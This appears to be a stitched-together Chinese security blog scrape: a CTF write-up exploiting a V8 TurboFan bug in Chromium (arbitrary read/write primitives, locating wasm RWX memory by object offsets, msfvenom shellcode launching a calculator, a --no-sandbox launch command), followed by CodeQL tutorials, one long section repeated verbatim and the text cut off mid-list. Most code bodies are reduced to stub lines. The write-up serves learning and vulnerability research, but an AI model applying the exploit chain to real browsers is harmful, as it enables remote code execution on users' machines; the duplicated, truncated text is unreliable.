JSTypedArray 包括但不限于 DataView、Int32Array、Int64Array、Float32Array、Float64Array 等等。
笔者将在下面使用DataView
对象来对 ArrayBuffer 的 backing_store 进行读写。为了证明 DataView 修改的确实是 ArrayBuffer 中 backing_store 指向的那块堆内存,笔者找到其对应的代码:
注:以下代码来自
v8/src/builtins/data-view.tq
,代码语言为V8Torque
。该语言的语法类似于TypeScript
,其设计目的在于更方便的表示高级的、语义丰富的V8实现。Torque编译器使用CodeStubAssembler将这些片断转换为高效的汇编代码。更多关于该语言的信息请查阅 V8 Torque user manual。
1 | // v8/src/builtins/data-view.tq |
因此,现在我们可以试着构建任意地址读写原语
根据上面的分析,我们可以梳理一条这样的过程来构造任意地址读写原语:
需要注意的是,在确定 FixedDoubleArray 与 backing_store 之前的相对偏移时,最好不要使用硬编码。因为如果需要在当前内存段上再新建立一个对象时,原先的相对偏移很有可能会失效;而且不使用硬编码也可以更好的将 exp 从 v8 移植到 chromium上。
但不使用硬编码时,使用 for循环结果语句 来循环越界读取数组将会触发一个CSA_ASSERT
:
1 | // v8/src/code-stub-assembler.cc |
由于CSA_ASSERT
只会在Debug版本下的 v8 生效,因此我们同样可以注释掉该语句再重新编译,不影响 chromium 中 exp 的编写。
综上所述,最后构造出的任意地址读写原语如下:
1 | function log(msg) |
测试结果如下:
注:单次只能测试任意读或任意写,不能同时测试。
可以将目标数据写入目标地址:
可以从目标地址中读出数据
由于 v8 已经取消将 JIT 编码的 JSFunction 放入 RWX 内存中 ,因此我们必须另找它法。根据所搜索到的利用方式,有以下两种:
将 Array 的 JSFunction 写入内存并泄露,之后就可以进一步泄露 JSFunction 中的 code 指针。由于这个Code指针指向 chromium 二进制文件内部,因此我们可以将二进制文件拖入 IDA 中计算相对位移,获取 代码基地址 => GOT表条目 => libc基地址 => enviroment指针,这样就可以获取到可写的栈地址以及mprotect
地址。
然后将 shellcode 写入栈里并 ROP 调用 mprotect 修改执行权限,最后跳转执行,这样就可以成功执行 shellcode。
此方法来自 Sakura 师傅,第四条参考链接。
v8 除了编译 JS 以外还编译 WebAssembly (wasm)代码,而 wasm 模块至今仍然使用 RWX 内存,因此我们可以试着将 shellcode 写入这块内存中并执行,不过这个方法有点折腾。
此方法来自 doar-e,第一条参考链接。
第一种利用方式非常的直接,利用起来应该没有太大的难度。因此出于学习的目的,我们选择第二种方式,学习一下 WebAssembly 的利用方式。
通过查阅这片文章 浅谈如何逆向分析WebAssembly二进制文件 - 安全客,我们可以获取到wasm的简易使用方式,并通过这个方式获取到 Wasm 的 JSFunction:
1 | // C++ 代码 `void func() {}` 的 wasm 二进制代码 |
而对于一个 Wasm 的 JSFunction,我们可以通过以下路径来获取 RWX 段地址:
这条路径稍微有点长:JSFunction -> SharedFunctionInfo -> WasmExportedFunctionData -> WasmInstanceObject -> JumpTableStart。
从 JSFunction 出发,获取其 SharedFunctionInfo(相对偏移为 0x18)
之后从 SharedFunctionInfo 获取其 WasmExportedFunctionData(相对偏移为 0x8)
再从 WasmExportedFunctionData 中获取 WasmInstanceObject(相对偏移为 0x10)
最后从 WasmInstanceObject 中获取 JumpTableStart(相对偏移为 0xe8)
查看获取到的 JumpTableStart 位置处的数据,我们可以发现这里是一串汇编代码。给该位置下断,并在 JS 中执行一下 Wasm 的 JSFunction ,我们可以发现控制流被断点成功捕获:
以下是测试用的 JS 代码:
1 | // C++ 代码 `void func() {}` 的 wasm 二进制代码 |
现在情况已经非常明了了,通过之前构建的任意地址读取原语,一步步读取 Wasm JSFunction 的各个属性并最终获取 RWX 内存地址:
1 | function prettyHex(bigint) |
需要注意的是,在读取WasmExportedFunctionDataAddr
时会触发 debug 的越界检查:
1 | // v8/src/code-stub-assembler.cc |
注释掉再重新编译即可。
最后我们只要将 shellcode 写入该 RWX 地址处并调用 Wasm JSFunction 即可成功执行 shellcode。
使用 msfvenom 生成满足以下条件的 shellcode:
payload为 linux x64
格式为 C语言
命令为DISPLAY=:0 gnome-calculator
1 | msfvenom -p linux/x64/exec CMD='DISPLAY=:0 gnome-calculator' -f c |
输出如下:
1 | Payload size: 67 bytes |
结合上面的内容,release 版本 v8 的 exp 如下:
1 | function log(msg) |
最终在 release 版下的 v8 可以成功调用 calculator:
但我们做题实际用到附件是一个带漏洞 v8 的 chromium。为了将 exploit 从 v8 移植到 chromium,其中做了一点点微调,因此最终的 exploit 如下:
这里主要调整了两个地方:
- 微调了内存布局。
将oob_arr、array_buffer以及WasmJSFunctionObj放的更近,使得内存布局的相对偏移不会太大。这样搜索哨兵值时就不用搜索太多次。- 将两个搜索哨兵值的for循环合并成一个。
因为动态调试发现,当第二个for循环开始执行几十个循环后,原先存放 oob_array 以及 WasmJSFunctionObj 内存的数据将会被覆盖,疑似GC因为对象被过多访问而将其移动至另一个内存段上。这对我们泄露地址相当不利,因此合并两个for循环以降低搜索次数。
1 | <script> |
使用如下命令以执行exp:
1 | chrome/chrome --no-sandbox --user-data-dir=./userdata http://127.0.0.1:8000/test.html |
尽管给出的附件打了no-sandbox的patch,但实际exp仍然无法执行,必须附加参数
--no-sandbox
才能成功触发,玄学问题XD。
效果如下:
![img](v8-turboFan/exp.gif %}
github SecurityLab 上有多个CodeQL的使用例子
通过学习这些例子,我们可以加深对CodeQL的了解,以便于更好的使用它。
这个例子主要是学习如何查找出错误的整数相加溢出判断逻辑。
以一个例子为例
1 | bool checkOverflow(unsigned short x, unsigned short y) { |
这里相加后的结果由于会自动隐式转换至int
类型,因此该加法操作的结果将始终不会溢出。这会使得程序无法正常判断是否存在溢出操作,而这就是漏洞所在。
但在以下这个例子中
1 | bool checkOverflow(unsigned short x, unsigned short y) { |
由于相加后的结果会进行强制类型转换,因此该加法操作的结果可以产生溢出,溢出判断逻辑工作正常。
首先明确目的,我们要查找出错误的检测溢出的代码,即上述中的第一个例子。
因此,我们先列一下这个模式的必要条件,即通过什么条件来查找出这个漏洞
需要获取符合var1 + var2 <compare> var1
的语句
比较操作符RelationalOperation
左右两边各有一个AddExpr
和LocalScopeVariable
var1
加法操作AddExpr
内部所含有的一个LocalScopeVariable
va1,与上面的var1是同一个。
操作数 var1 的位数必须小于32位
加法运算的结果不执行强制类型转换,或者强转后的大小大于32位
这个条件会使得溢出检测算法无效,而这就是我们的目标所在。
故最终的QL代码如下
1 | import cpp |
注意where语句中使用的一个通配符
_
,该通配符用于表示任何数据集。
该漏洞是一个由+=
符所引起的整型溢出漏洞 - src
1 | folly::Optional<TLSMessage> PlaintextReadRecordLayer::read( |
这段代码中将会从传入的网络数据包中读取一个uint16_t
,并将其传给length
。即length
是攻击者可控的。同时,代码中的if
语句只是用于检测是否接收到足够多的数据,并不会检测可能存在的溢出操作。
因此,倘若length
在执行+=
操作时溢出至0,那么在执行buf.trimStart
函数时,buf
中指向当前正在处理数据的指针将不会被修改。也就是说,在循环的下一次执行中,cursor会被设置为与当前循环相同的cursor,然后读取与当前循环相同的length,之后length继续溢出至0,buf的指针仍然没有被修改。如此循环往复,程序将陷入循环中无法跳出,这样便造成了拒绝服务攻击(DoS)。
先列出这个漏洞的必要条件
首先,我们需要确定一个不受信任的输入。在Fizz中,数据通常按照网络字节顺序来通过套接字发送,因此网络字节顺序通常需要转换为主机字节顺序,这就意味着ntohs
和ntohl
通常是不受信任输入的来源之一。但是,Fizz使用Endian
类来处理字节顺序转换。因此在查询时就必须设置数据流源头为Endian
类变量。
以下是一个用于查找所有Endian::big
函数声明的QL代码
1 | import cpp |
因此我们可以查找出调用Endian::big
函数的FunctionCall
,不受信任的数据将从这个FunctionCall
中流出。
1 | /** |
之后,我们查找从较大类型到较小类型的所有转换,这些类型转换可能会产生溢出,而我们的目标就是为了让不受信任的数据流动至此处。
ConvertInstruction
类型来自于semmle.code.cpp.ir.IR
,这个类型将会查找所有的类型转换。这里的类型转换不局限于强制类型转换和隐式类型转换,还包括
if
条件框中的int
转bool
类型等等。所包含的数据量及其之多,因此需要进行二次过滤。
1 | import cpp |
接下来,我们便可以编写全局污点追踪查询
1 | class Cfg extends TaintTracking::Configuration { |
将上面的代码组装起来,便是以下的完整代码
1 | /** |
这种漏洞模式主要是由类似于以下的代码组成
1 | int _libssh2_get_c_string(...){ /* ... */} |
其中,_libssh2_get_c_string
函数返回的是一个带符号的整型,但接收返回值的变量是无符号的。因此该漏洞将会使函数内部产生的error code(-1)被忽略。
首先,我们不使用污点分析技术来尝试查询到这些错误。
1 | import cpp |
可以查询出一部分错误点。
但上面的查询代码并不能很好的找到下面这种类型的错误
1 | int r = f(); |
因此我们要试着使用一下数据流分析技术,查询从FunctionCall
流出的数据(即返回值)到最近一个无符号类型转换的路径。
1 | import cpp |
CodeQL 是一个语义代码分析引擎,它可以扫描发现代码库中的漏洞。使用 CodeQL,可以像对待数据一样查询代码。编写查询条件以查找漏洞的所有变体并处理,同时可以分享个人查询条件。
编写该文章时,主要参考了官方文档 - QL language reference
环境搭建整体参考 代码分析引擎 CodeQL 初体验
首先,下载一下CodeQL CLI
二进制文件并安装
1 | # 下载codeql.zip |
由于是入门,我们只需要使用初始工作区(starter workspace)就好,因此执行以下命令
工作区配置参考——Using the starter workspace
1 | git clone --recursive git@github.com:github/vscode-codeql-starter.git |
注意:该工作区内含了QL库,因此一定要使用递归方式来下拉工作区代码。
递归方式下拉该仓库后,我们不需要再下拉
https://github.com/Semmle/ql
这个库了。
如果觉得下拉很慢,可以挂个代理
1 | # 设置代理 |
最后,我们还需要在VScode中下载CodeQL的插件——Visual Studio Code Marketplace。
插件下载完成后,还需要在vscode中设置一下Code QL -- Cli: Executable Path
为刚刚下载下来的codeql
二进制文件执行路径。
上述操作完成后,我们需要先建立一个AST数据库,后续的查询操作等都是在该数据库中完成。
以C++代码为例,我们可以使用如下命令来建立一个数据库
1 | codeql database create <database-folder> --language=cpp --command=<prefix command> |
如果省略
--command
参数,则codeQL会自动检测并使用自己的工具来构建。但还是强烈推荐使用自己自定义的参数,尤其是大项目时。
以构建chrome为例,由于chrome项目过于庞大,因此我们只能针对某个模块来进行分析。
于是我们可以进行如下操作
先完整编译一个chromium,release不带符号即可。
进入obj目录,将目标模块的obj删除。
执行以下命令,重新编译该模块并构建数据库即可。
1 | gn gen out/ql && codeql database create <targetFolder> --language=cpp --Command=' ninja -C out/ql chrome' |
建立好的数据库,其目录结构为
1 | - log\ # 输出的日志信息 |
之后在VSCode中,
vscode-codeql-starter
工作区vscode-codeql-starter\codeql-custom-queries-cpp
处,这样import模块时就可以正常引用。Run on queue
,即可开始查询。如果想查看某个文件的AST,直接对目标源码,点击右键—CodeQL: View AST
即可。第一次执行时会比较慢,稍微等待十分钟左右即可。
CodeQL使用操作参考 - CodeQL分析项目
基础语法将结合ql代码来讲解。
该QL将输出所有基础块中的空基础块。
1 | // 首先是引入QL库中的一个包 |
以下是获取某个宏定义位置的ql代码
1 | import cpp |
该代码获取调用特定函数的代码位置
1 | import cpp |
这并不稀奇,但关键是下一个ql代码
1 | import cpp |
FunctionCall
将会涵盖所有的函数调用,因此我们可以通过该对象来获取特定函数被调用的位置。
对于所有的类和函数,都可以通过ctrl+右键的形式来查看其源码来了解更多信息。
在CodeQL中,函数并不叫“函数”,叫做Predicates
(谓词)。为了便于说明,下文中笔者可能会混用函数这个词语,即下文中的 “函数” 与 “谓语” 都是指代同一个内容。
在使用谓词前,我们需要定义一个谓词。谓词的格式如下
1 | predicate name(type arg) |
定义谓词有三个步骤
无返回值的谓词以predicate
关键词开头。若传入的值满足谓词主体中的逻辑,则该谓词将保留该值。
无返回值谓词的使用范围较小,但仍然在某些情况下扮演了很重要的一个角色,具体功能将在下文中逐渐讲解。
需要注意的是,参数i
是一个数据集合
举一个简单的例子
1 | predicate isSmall(int i) { |
若传入的i
是小于10的正整数,则isSmall(i)
将会使得传入的集合i
只保留符合条件的值,其他值将会被舍弃。
当我们需要将某些结果从谓词中返回时,与C/C++的return语句不同的是,谓词使用的是一个特殊变量result
。
举个简单例子
1 | int getSuccessor(int i) { |
谓词主体的语法只是为了表述逻辑之间的关系,因此务必不要用一般编程语言的语法来理解。
在谓词主体中,result
变量可以像一般变量一样正常使用,唯一不同的是这个变量内的数据将会被返回。
同时,谓词可能返回多个结果,或者根本不返回任何结果。以下是一个简单的例子。
1 | string getANeighbor(string country) { |
谓词不允许描述的数据集合个数不限于有限数量大小的。举个例子
1 | // 该谓词将使得编译报错 |
但如果我们仍然需要定义这类函数,则必须限制集合数据大小,同时添加一个bindingset
标注。该标注将会声明谓词plusOne
所包含的数据集合是有限的,前提是i
绑定到有限数量的数据集合。
1 | bindingset[x] bindingset[y] |
谓词类似于函数,可以递归调用。
同时result
变量可以按照任何方式来表达与其他变量之间的关系,因此result
变量的赋值不局限于使用=
符号。
以下是一个简单例子
1 | string getANeighbor(string country) { |
传递闭包
谓词的传递闭包是递归谓词,它的结果是通过重复应用原始的谓词来获得的。
特别要注意的是,原始谓词必须有两个参数(可能包括this或result值),并且这些参数必须具有兼容的类型。
由于传递闭包是递归的一种常见形式,因此QL有两个有用的缩写,分别是
+
和*
传递闭包(+)
如果要一次或多次的应用特定谓词,请在谓词后添加一个+
符号。
举个例子,假设定义了一个带有成员谓词getAParent()
的Person
类,其中p.getAParent()
会返回p的所有父母。而p.getAParent+()
将会返回p的父母、p的父母的父母、等等等等。
使用+
来表示通常会比显式定义递归谓词更简单,p.getAParent+()
等价于以下递归谓词:
1 | Person getAnAncestor() { |
自反传递闭包(*)
这个类似于上面的传递闭包。与之前所不同的是,使用*
可以让谓词调用自己一次至多次。
例如:p.getAParent*()
将会输出p的祖先,或者p。该谓词调用等价于以下谓词:
1 | Person getAnAncestor2() { |
以上面ql中的各种类为例(例如Function类),这些类的设计将特定一类的代码归结为一处,以便于后续查询的使用。而如果我们需要自定义特定的类,那该怎么做呢?
CodeQL中的类,并不意味着建立一个新的对象,而只是表示特定一类的数据集合,请注意区分。
定义一个类,需要三个步骤
使用关键字class
起一个类名,其中类名必须是首字母大写的。
确定是从哪个类中派生出来的
使用的基类,除了cpp包中定义的各种类以外,还包括基本类型,即
boolean
、float
、int
、string
以及date
。
类的主体
以下是一个简单的例子,这个例子是官方的一个样例。
1 | class OneTwoThree extends int { |
特征谓词类似于C++中的类构造函数,它将会进一步限制当前类所表示数据的集合。例如上面的特征谓词
1 | OneTwoThree() { // characteristic predicate |
它将数据集合从原先的Int
集,进一步限制至1-3这个范围。
this
变量表示的是当前类中所包含的数据集合。与result
变量类似,this
同样是用于表示数据集合直接的关系。
在特征谓词中,比较常用的一个关键字是exists。该关键字的语法如下
1 | exists(<variable declarations> | <formula>) |
这个关键字的使用引入了一些新的变量。如果变量中至少有一组值可以使formula成立,那么该值将被保留。
一个简单的例子
1 | import cpp |
与之对应的还有成员谓词,如下例所示
1 | class OneTwoThree extends int { |
其中,1.(OneTwoThree).getAString()
会将int
类型的1转换为OneTwoThree
类型。在转换的过程中会丢弃不满足OneTwoThree
类中限定条件的数据。因此4.(OneTwoThree).getAString()
将不会输出任何信息,因为整数4在转换的过程中被丢弃了。
与C++类似,CodeQL中类里可以声明一个类字段,如下例所示
1 | class SmallInt extends int { |
需要注意的是,
每个类都不能继承自己
不能继承final类
不能继承不相容的类
这一点需要额外说明一下,从某个基类派生出的类,将拥有基类的所有数据集合范围。如果某个类继承了多个基类,那么该类内含的数据集合,将是两个基类数据集合的交集。
该部分内容主要
参考翻译自:Analyzing data flow in C and C++ - CodeQL documentation参考了About data flow analysis的部分内容
局部数据流指的是在一个单独函数内的数据流。局部数据流比全局数据流分析的更加简单、迅速,同时也更加精确。
局部数据流的库函数主要位于DataFlow
模块中。该模块定义了一个类Class
,这个类用于表示数据可以流经的任何元素。
而Node
类分为两种,分别是表达式节点ExprNode
与参数节点ParameterNode
。我们可以使用谓词asExpr
与asParameter
,将数据流结点与表达式节点/参数结点之间进行映射。
注意:参数结点
ParameterNode
指的是当前函数参数的数据流结点。
1 | class Node { |
或者使用谓词exprNode
以及parameterNode
1 | /** |
谓词localFlowStep(Node nodeFrom, Node nodeTo)
可以分析出从nodeFrom
到nodeTo
中的元素之间数据流动的方式。该谓词可以通过使用符号+
和*
来进行递归调用,或者使用预定义好的递归谓词localFlow
。
以下是一个用于查找从参数source
到表达式sink
的例子
1 | DataFlow::localFlow(DataFlow::parameterNode(source), DataFlow::exprNode(sink)) |
局部污点追踪通过包括非保留值的流程步骤来扩展了局部数据流,例如以下C++代码
1 | int i = tainted_user_input(); |
由于输出的变量i
被污染,因此使用变量i
的malloc
函数参数也被污染。
局部污点追踪的库函数主要位于TaintTracking
模块中。与局部数据流分析类似,污点追踪同样有谓词localTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo)
用于污点分析,同样有递归版本的localTaint
谓词。
一个简单的例子,查找从参数source
到表达式sink
的污点传播。
1 | TaintTracking::localTaint(DataFlow::parameterNode(source), DataFlow::exprNode(sink)) |
这个例子是用于查找传入fopen
函数的文件名称
1 | import cpp |
但上面的ql代码只会将文件名参数的表达式输出,而这并不是可能传递给它的值。因此我们需要使用局部数据流分析来找到所有可流入该参数的表达式。
1 | import semmle.code.cpp.dataflow.DataFlow |
这样它将会输出可能流入fopen
文件名参数的所有变量的表达式。
现在我们可以稍微将source
改一下,将exprNode
改成parameterNode
,这样就可以查询出既是当前函数的参数,又可以作为fopen
的文件名参数的表达式。
1 | import semmle.code.cpp.dataflow.DataFlow |
以下这个例子将会查找格式字符串中没有被硬编码的格式化函数的调用。
格式化函数包括但不限于各种
printf
函数。
1 | import semmle.code.cpp.dataflow.DataFlow |
全局数据流跟踪整个程序的数据流,因此比局部数据流更强大。但全局数据流的准确性不如本地数据流,并且通常需要更多的时间和内存来执行分析。
通过继承DataFlow::Configuration
类来使用全局数据流库。
1 | class MyDataFlowConfiguration extends DataFlow::Configuration { |
在DataFlow::Configuration
类中定义了如下几个谓词:
isSource
: 定义数据可能从何处流出isSink
: 定义数据可能流向的位置isBarrier
: 可选,限制数据流isBarrierGuard
: 可选,限制数据流isAdditionalFlowStep
: 可选,添加其他流程步骤在特征谓词MyDataFlowConfiguration()
中定义了当前Configuration
的名称,因此内部的"MyDataFlowConfiguration"
需要替换成自己的名称。
使用谓词hasFlow(DataFlow::Node source, DataFlow::Node sink)
来执行全局数据流分析
1 | from MyDataFlowConfiguration dataflow, DataFlow::Node source, DataFlow::Node sink |
与局部污点追踪类似,全局污点追踪针对的是全局数据流。全局污点追踪通过其他不保留值的步骤来扩展了全局数据流。
通过继承TaintTracking::Configuration
类以使用全局污点追踪的库函数。
1 | import semmle.code.cpp.dataflow.TaintTracking |
在配置中定义了以下谓词:
isSource
:定义污点可能从何处流出isSink
:定义污点可能流入的地方isSanitizer
:可选,限制污点流isSanitizerGuard
:可选,限制污点流isAdditionalTaintStep
:可选,添加其他污染步骤使用谓词hasFlow(DataFlow::Node source, DataFlow::Node sink)
以执行污点追踪分析。
以下数据流分析用于追踪从环境变量到打开文件的数据流
1 | import semmle.code.cpp.dataflow.DataFlow |
以下污点追踪代码用于追踪从调用ntohl
到操作数组索引的数据流。该代码使用Guards
库以识别经过边界检查的表达式,同时还定义了谓词isSanitizer
以避免污点分析经过特定数据,最后定义了isAdditionalTaintStep
用于将流从边界循环添加至循环索引。
1 | import cpp |
纸上得来终觉浅,绝知此事要躬行。简单翻阅QL文档是学不到什么的,我们需要自己动手实践一下。
下面笔者将讲述github learning lab中,用于学习CodeQL的一个入门课程 - CodeQL U-Boot Challenge (C/C++)
Step1: 了解从何处获取帮助
Step2: 设置IDE
Step3: 编写一个简单的查询。在这里我们用于查询strlen
函数的定义位置。
1 | import cpp |
Step4: 分析这个简单的查询,之后查询一下memcpy
函数
1 | import cpp |
Step5: 使用不同的类以及不同的谓语。这里我们编写QL查找名为ntohs
、ntohl
以及ntohll
的宏定义。
1 | import cpp |
Step6: 使用双变量。通过使用多个变量来描述复杂的代码关系,查询特定函数的调用位置。
1 | import cpp |
Step7: 使用Step6的技巧,查询宏定义的调用位置。
1 | import cpp |
Step8: 改变select的输出。查找这些宏调用所扩展到的顶级表达式。
1 | import cpp |
Step9:编写一个类。用exists
关键字来引入一个临时变量,以设置当前类的数据集合;特征谓词在声明时会被调用以确定当前类的范围,类似于C++构造函数。
1 | import cpp |
Step10:数据流分析。若memcpy
中length
直接来自于远程,而不加以验证,那么这将会产生OOB漏洞。以下编写的CodeQL查询针对的就是这类情况,它将使用全局数据流分析技术,查出真正的CVE漏洞。
1 | import cpp |
CodeQL 是一个语义代码分析引擎,它可以扫描发现代码库中的漏洞。使用 CodeQL,可以像对待数据一样查询代码。编写查询条件以查找漏洞的所有变体并处理,同时可以分享个人查询条件。
编写该文章时,主要参考了官方文档 - QL language reference
环境搭建整体参考 代码分析引擎 CodeQL 初体验
首先,下载一下CodeQL CLI
二进制文件并安装
1 | # 下载codeql.zip |
由于是入门,我们只需要使用初始工作区(starter workspace)就好,因此执行以下命令
工作区配置参考——Using the starter workspace
1 | git clone --recursive git@github.com:github/vscode-codeql-starter.git |
注意:该工作区内含了QL库,因此一定要使用递归方式来下拉工作区代码。
递归方式下拉该仓库后,我们不需要再下拉
https://github.com/Semmle/ql
这个库了。
如果觉得下拉很慢,可以挂个代理
1 | # 设置代理 |
最后,我们还需要在VScode中下载CodeQL的插件——Visual Studio Code Marketplace。
插件下载完成后,还需要在vscode中设置一下Code QL -- Cli: Executable Path
为刚刚下载下来的codeql
二进制文件执行路径。
上述操作完成后,我们需要先建立一个AST数据库,后续的查询操作等都是在该数据库中完成。
以C++代码为例,我们可以使用如下命令来建立一个数据库
1 | codeql database create <database-folder> --language=cpp --command=<prefix command> |
如果省略
--command
参数,则codeQL会自动检测并使用自己的工具来构建。但还是强烈推荐使用自己自定义的参数,尤其是大项目时。
以构建chrome为例,由于chrome项目过于庞大,因此我们只能针对某个模块来进行分析。
于是我们可以进行如下操作
先完整编译一个chromium,release不带符号即可。
进入obj目录,将目标模块的obj删除。
执行以下命令,重新编译该模块并构建数据库即可。
1 | gn gen out/ql && codeql database create <targetFolder> --language=cpp --Command=' ninja -C out/ql chrome' |
建立好的数据库,其目录结构为
1 | - log\ # 输出的日志信息 |
之后在VSCode中,
vscode-codeql-starter
工作区vscode-codeql-starter\codeql-custom-queries-cpp
处,这样import模块时就可以正常引用。Run on queue
,即可开始查询。如果想查看某个文件的AST,直接对目标源码,点击右键—CodeQL: View AST
即可。第一次执行时会比较慢,稍微等待十分钟左右即可。
CodeQL使用操作参考 - CodeQL分析项目
基础语法将结合ql代码来讲解。
该QL将输出所有基础块中的空基础块。
1 | // 首先是引入QL库中的一个包 |
以下是获取某个宏定义位置的ql代码
1 | import cpp |
该代码获取调用特定函数的代码位置
1 | import cpp |
这并不稀奇,但关键是下一个ql代码
1 | import cpp |
FunctionCall
将会涵盖所有的函数调用,因此我们可以通过该对象来获取特定函数被调用的位置。
对于所有的类和函数,都可以通过ctrl+右键的形式来查看其源码来了解更多信息。
在CodeQL中,函数并不叫“函数”,叫做Predicates
(谓词)。为了便于说明,下文中笔者可能会混用函数这个词语,即下文中的 “函数” 与 “谓语” 都是指代同一个内容。
在使用谓词前,我们需要定义一个谓词。谓词的格式如下
1 | predicate name(type arg) |
定义谓词有三个步骤
无返回值的谓词以predicate
关键词开头。若传入的值满足谓词主体中的逻辑,则该谓词将保留该值。
无返回值谓词的使用范围较小,但仍然在某些情况下扮演了很重要的一个角色,具体功能将在下文中逐渐讲解。
需要注意的是,参数i
是一个数据集合
举一个简单的例子
1 | predicate isSmall(int i) { |
若传入的i
是小于10的正整数,则isSmall(i)
将会使得传入的集合i
只保留符合条件的值,其他值将会被舍弃。
当我们需要将某些结果从谓词中返回时,与C/C++的return语句不同的是,谓词使用的是一个特殊变量result
。
举个简单例子
1 | int getSuccessor(int i) { |
谓词主体的语法只是为了表述逻辑之间的关系,因此务必不要用一般编程语言的语法来理解。
在谓词主体中,result
变量可以像一般变量一样正常使用,唯一不同的是这个变量内的数据将会被返回。
同时,谓词可能返回多个结果,或者根本不返回任何结果。以下是一个简单的例子。
1 | string getANeighbor(string country) { |
谓词不允许描述的数据集合个数不限于有限数量大小的。举个例子
1 | // 该谓词将使得编译报错 |
但如果我们仍然需要定义这类函数,则必须限制集合数据大小,同时添加一个bindingset
标注。该标注将会声明谓词plusOne
所包含的数据集合是有限的,前提是i
绑定到有限数量的数据集合。
1 | bindingset[x] bindingset[y] |
谓词类似于函数,可以递归调用。
同时result
变量可以按照任何方式来表达与其他变量之间的关系,因此result
变量的赋值不局限于使用=
符号。
以下是一个简单例子
1 | string getANeighbor(string country) { |
传递闭包
谓词的传递闭包是递归谓词,它的结果是通过重复应用原始的谓词来获得的。
特别要注意的是,原始谓词必须有两个参数(可能包括this或result值),并且这些参数必须具有兼容的类型。
由于传递闭包是递归的一种常见形式,因此QL有两个有用的缩写,分别是
+
和*
传递闭包(+)
如果要一次或多次的应用特定谓词,请在谓词后添加一个+
符号。
举个例子,假设定义了一个带有成员谓词getAParent()
的Person
类,其中p.getAParent()
会返回p的所有父母。而p.getAParent+()
将会返回p的父母、p的父母的父母、等等等等。
使用+
来表示通常会比显式定义递归谓词更简单,p.getAParent+()
等价于以下递归谓词:
1 | Person getAnAncestor() { |
自反传递闭包(*)
这个类似于上面的传递闭包。与之前所不同的是,使用*
可以让谓词调用自己一次至多次。
例如:p.getAParent*()
将会输出p的祖先,或者p。该谓词调用等价于以下谓词:
1 | Person getAnAncestor2() { |
以上面ql中的各种类为例(例如Function类),这些类的设计将特定一类的代码归结为一处,以便于后续查询的使用。而如果我们需要自定义特定的类,那该怎么做呢?
CodeQL中的类,并不意味着建立一个新的对象,而只是表示特定一类的数据集合,请注意区分。
定义一个类,需要三个步骤
使用关键字class
起一个类名,其中类名必须是首字母大写的。
确定是从哪个类中派生出来的
使用的基类,除了cpp包中定义的各种类以外,还包括基本类型,即
boolean
、float
、int
、string
以及date
。
类的主体
以下是一个简单的例子,这个例子是官方的一个样例。
1 | class OneTwoThree extends int { |
特征谓词类似于C++中的类构造函数,它将会进一步限制当前类所表示数据的集合。例如上面的特征谓词
1 | OneTwoThree() { // characteristic predicate |
它将数据集合从原先的Int
集,进一步限制至1-3这个范围。
this
变量表示的是当前类中所包含的数据集合。与result
变量类似,this
同样是用于表示数据集合直接的关系。
在特征谓词中,比较常用的一个关键字是exists。该关键字的语法如下
1 | exists(<variable declarations> | <formula>) |
这个关键字的使用引入了一些新的变量。如果变量中至少有一组值可以使formula成立,那么该值将被保留。
一个简单的例子
1 | import cpp |
与之对应的还有成员谓词,如下例所示
1 | class OneTwoThree extends int { |
其中,1.(OneTwoThree).getAString()
会将int
类型的1转换为OneTwoThree
类型。在转换的过程中会丢弃不满足OneTwoThree
类中限定条件的数据。因此4.(OneTwoThree).getAString()
将不会输出任何信息,因为整数4在转换的过程中被丢弃了。
与C++类似,CodeQL中类里可以声明一个类字段,如下例所示
1 | class SmallInt extends int { |
需要注意的是,
每个类都不能继承自己
不能继承final类
不能继承不相容的类
这一点需要额外说明一下,从某个基类派生出的类,将拥有基类的所有数据集合范围。如果某个类继承了多个基类,那么该类内含的数据集合,将是两个基类数据集合的交集。
该部分内容主要
参考翻译自:Analyzing data flow in C and C++ - CodeQL documentation参考了About data flow analysis的部分内容
局部数据流指的是在一个单独函数内的数据流。局部数据流比全局数据流分析的更加简单、迅速,同时也更加精确。
局部数据流的库函数主要位于DataFlow
模块中。该模块定义了一个类Class
,这个类用于表示数据可以流经的任何元素。
而Node
类分为两种,分别是表达式节点ExprNode
与参数节点ParameterNode
。我们可以使用谓词asExpr
与asParameter
,将数据流结点与表达式节点/参数结点之间进行映射。
注意:参数结点
ParameterNode
指的是当前函数参数的数据流结点。
1 | class Node { |
或者使用谓词exprNode
以及parameterNode
1 | /** |
谓词localFlowStep(Node nodeFrom, Node nodeTo)
可以分析出从nodeFrom
到nodeTo
中的元素之间数据流动的方式。该谓词可以通过使用符号+
和*
来进行递归调用,或者使用预定义好的递归谓词localFlow
。
以下是一个用于查找从参数source
到表达式sink
的例子
1 | DataFlow::localFlow(DataFlow::parameterNode(source), DataFlow::exprNode(sink)) |
局部污点追踪通过包括非保留值的流程步骤来扩展了局部数据流,例如以下C++代码
1 | int i = tainted_user_input(); |
由于输出的变量i
被污染,因此使用变量i
的malloc
函数参数也被污染。
局部污点追踪的库函数主要位于TaintTracking
模块中。与局部数据流分析类似,污点追踪同样有谓词localTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo)
用于污点分析,同样有递归版本的localTaint
谓词。
一个简单的例子,查找从参数source
到表达式sink
的污点传播。
1 | TaintTracking::localTaint(DataFlow::parameterNode(source), DataFlow::exprNode(sink)) |
这个例子是用于查找传入fopen
函数的文件名称
1 | import cpp |
但上面的ql代码只会将文件名参数的表达式输出,而这并不是可能传递给它的值。因此我们需要使用局部数据流分析来找到所有可流入该参数的表达式。
1 | import semmle.code.cpp.dataflow.DataFlow |
这样它将会输出可能流入fopen
文件名参数的所有变量的表达式。
现在我们可以稍微将source
改一下,将exprNode
改成parameterNode
,这样就可以查询出既是当前函数的参数,又可以作为fopen
的文件名参数的表达式。
1 | import semmle.code.cpp.dataflow.DataFlow |
以下这个例子将会查找格式字符串中没有被硬编码的格式化函数的调用。
格式化函数包括但不限于各种
printf
函数。
1 | import semmle.code.cpp.dataflow.DataFlow |
全局数据流跟踪整个程序的数据流,因此比局部数据流更强大。但全局数据流的准确性不如本地数据流,并且通常需要更多的时间和内存来执行分析。
通过继承DataFlow::Configuration
类来使用全局数据流库。
1 | class MyDataFlowConfiguration extends DataFlow::Configuration { |
在DataFlow::Configuration
类中定义了如下几个谓词:
isSource
: 定义数据可能从何处流出isSink
: 定义数据可能流向的位置isBarrier
: 可选,限制数据流isBarrierGuard
: 可选,限制数据流isAdditionalFlowStep
